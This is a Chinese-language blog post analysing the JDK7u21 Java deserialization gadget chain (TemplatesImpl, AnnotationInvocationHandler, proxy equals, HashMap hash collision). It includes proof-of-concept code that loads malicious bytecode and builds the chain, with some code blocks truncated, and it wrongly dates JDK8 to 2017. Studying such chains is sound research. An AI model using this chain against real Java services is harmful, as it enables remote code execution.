jdk原生链分析
作为jdk中目前发现的原生链,还是有必要要分析这个用法的。
全文仅限尽可能还原挖掘思路
JDK7u21
在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...
templatesImpl利用回顾:
- 加载对象需要是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的实现类- 需要设置_name,_bytecodes
- _tfactory属性在高版本需要设置,jdk7u21中不是必须,看jdk版本而言-》defineTransletClasses
其中只要能触发上述任意一个函数的,都可以完成TemplatesImpl的动态加载字节码功能。==1.所以我们看jdk中是否有调用这三个函数?==
还记得sun.reflect.annotation.AnnotationInvocationHandler
嘛?这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。
为了简单直接,我把反编译的代码中的var变量替换了自定义变量
1 | //AnnotationInvocationHandler.java |
到这里,可以看到this.memberMethods可控,到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的调用了。
==2.怎么触发equalsImpl?==
1 | public Object invoke(Object var1, Method var2, Object[] var3) { |
关键逻辑
:如果代理对象调用了equals方法,且满足equals方法有且仅有一个Object类型的参数。
当前exp,成功触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33 //read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class");
int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available);
//construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra");
Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap());
//set anno.type
setValue(anno,"type",TemplatesImpl.class);
unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")});
Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
map.equals(templates);
==3.接下来就是想办法怎么触发equals方法,且参数可控==
要求反序列化中会进行equals方法的,直接可以去全局搜索,这里借用
codeql
的话就很香了。
==4.这里就直接丢出目前链子的利用点,直接采用hashMap之类的?为什么采用这个类呢?==
1 | //HashMap.java |
map类在反序列化时肯定进行put操作,这时,我们直接看put方法。其中会有equals操作,前提是key的hash相等,但key不等,相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等
==yso中巧妙的构造hash–>参照<java 安全漫谈>==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}可以看到,hash就是直接调用了对象的hashCode方法生成的。
但对象templates的hashcode是一个native方法,每次计算都会变动。
==所以现在只能看Proxy的hash计算了,需要让proxy的hash动态等于tempaltesimpl的hash==
1
2
3
4
5
6
7
8
9
10 private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}它的计算方式就是
累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
==关键点:==由于0异或任何等于任何数,此时如果让key的hash等于0,而value等于templatesImpl,那最后不就一直相等了嘛
1
2
3
4
5 for (long i = 0; i < 99999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}得到了一个
f5a5a608
,使得((String)var3.getKey()).hashCode()
==0,所以我们只需要将AnnotationHandler
中的Map添加一组map.put("f5a5a608", templates);
即可。
==5.利用逻辑梳理==
hashMap#put->hashcode相等,所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用
==6.附上分析结果(有些赘余,此处略优化==
1 | package sec.aur0ra; |
疑点重重
为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?
你试试就知道了。是因为最后调用时,getTransletInstance是private方法,无法被触发,所以采用了newTransformer,当然采用getOutputProperties也是可以的。
为什么很多地方给的不是hashmap而是LinkedHashSet等?
采用LinkedHashSet是因为它重新进行put时,会按照既定的顺序,会直接影响利用结果。这里的话,似乎影响不大,但也有可能出现错误。
type需要使用Templates.class,而不是TemplatesImpl.class
修复与分析
- 为什么jdk7u21前的版本中,不是Annotation类照样可以成功运行exp呢?
可以看到,这里type已成功赋值为目标Class对象,所以下面return的时候,不影响序列化的结果。
这里留个疑问:为什么明显目标需要是
private final Class<? extends Annotation> type;
,而这里放了一个TemplatesImpl在里面,这不是不合乎语法嘛?
如果不一致,就直接抛出异常,从而结束执行。
如果抛出异常被try-catch处理后,特殊情况下是不是会存在被利用的可能性呢?
拓展分析
jdk的很多版本都是并行开发的,那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢?
通过对比开发时间,jdk8出来时(2017年),这个已经被修复了,所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢?也不是,因为是并行开发的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影响。
JDK8u20
好像和上面留的思路一致,就是利用try-catch机制,处理异常,并继续运行put操作。
==关键点:beancontextsupport==
这里就先不做分析了,更多的是涉及序列化处理的操作。再另一篇文章分析。
参考
java 安全漫谈